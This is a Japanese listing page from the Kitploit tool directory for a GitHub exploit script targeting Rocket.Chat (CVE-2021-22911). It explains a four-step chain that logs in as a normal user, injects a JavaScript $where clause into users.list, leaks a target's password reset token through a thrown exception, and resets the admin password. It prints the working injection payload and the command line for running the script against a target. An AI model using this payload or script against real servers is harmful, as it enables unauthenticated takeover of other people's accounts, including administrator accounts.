Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
RocketChat-NoSQLi-Chain-CVE-2021-22911 — Rocket.Chat向けの自動化されたNoSQLインジェクションエクスプロイトで、$where句を介してパスワードリセットトークンを漏洩させ、未認証のアカウント乗っ取りを実行します。 | Kitploit
ツール/GitHubGitHub/tenebrae93/rocketchat-nosqli-chain-cve-2021-22911
パスワード攻撃脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubtenebrae93/rocketchat-nosqli-chain-cve-2021-22911

RocketChat-NoSQLi-Chain-CVE-2021-22911

Rocket.Chat向けの自動化されたNoSQLインジェクションエクスプロイトで、$where句を介してパスワードリセットトークンを漏洩させ、未認証のアカウント乗っ取りを実行します。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
5ヶ月前未レビュー

Rocket.Chat NoSQLi トークン漏洩 & パスワードリセット

Rocket.Chat(および Meteor ベースのアプリケーション)向けの自動エクスプロイトスクリプトです。$where 句を介した NoSQL インジェクション を利用して、サーバー側の例外を通じてパスワードリセットトークンを漏洩させます。トークンが漏洩すると、スクリプトは認証なしでパスワードリセットを実行します。

脆弱性の概要

  1. 認証: スクリプトは通常のユーザーとして認証し、/api/v1/users.list エンドポイントへのアクセスを取得します。

  2. NoSQL インジェクション: query パラメータを使用して $where JavaScript 句を注入します。

  3. データの外部漏洩: インジェクション内で throw 文を使用することで、サーバーにターゲットユーザーのパスワードリセットトークンを含む「未捕捉例外(uncaught exception)」エラーを返すよう強制します。

  4. アカウント乗っ取り: スクリプトは漏洩したトークンを使用して resetPassword を呼び出し、ターゲットアカウントのパスワードを変更します。

使用方法

前提条件

  • Python 3.x

  • requests ライブラリ

Bash

root@kitploit:~
pip install requests

実行

Bash

root@kitploit:~
python3 exploit.py --url http://<TARGET_IP>:3000\
                   -u <YOUR_USER>\
                   -p <YOUR_PASS>\
                   -a <TARGET_ADMIN_USER>\
                   -ap <NEW_ADMIN_PASSWORD>

コマンドライン引数

エクスプロイトチェーンの詳細

このエクスプロイトの核となるのは、以下のインジェクション文字列です。

JavaScript

root@kitploit:~
{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

サーバーで処理されると、データベースエンジンが匿名関数を実行し、throw でクラッシュします。アプリケーションは例外をキャッチし、JSON エラー応答内で秘密トークンをユーザーに誤って返してしまいます。

ツールをダウンロード
引数ロングフラグ説明
-u--user初期認証用の有効なユーザー名またはメールアドレス。
-p--password有効なパスワード。
-a--adminリセットしたいアカウントのユーザー名。
-ap--admin-pass管理者アカウントに設定する新しいパスワード。
--urlRocket.Chat インスタンスのベース URL。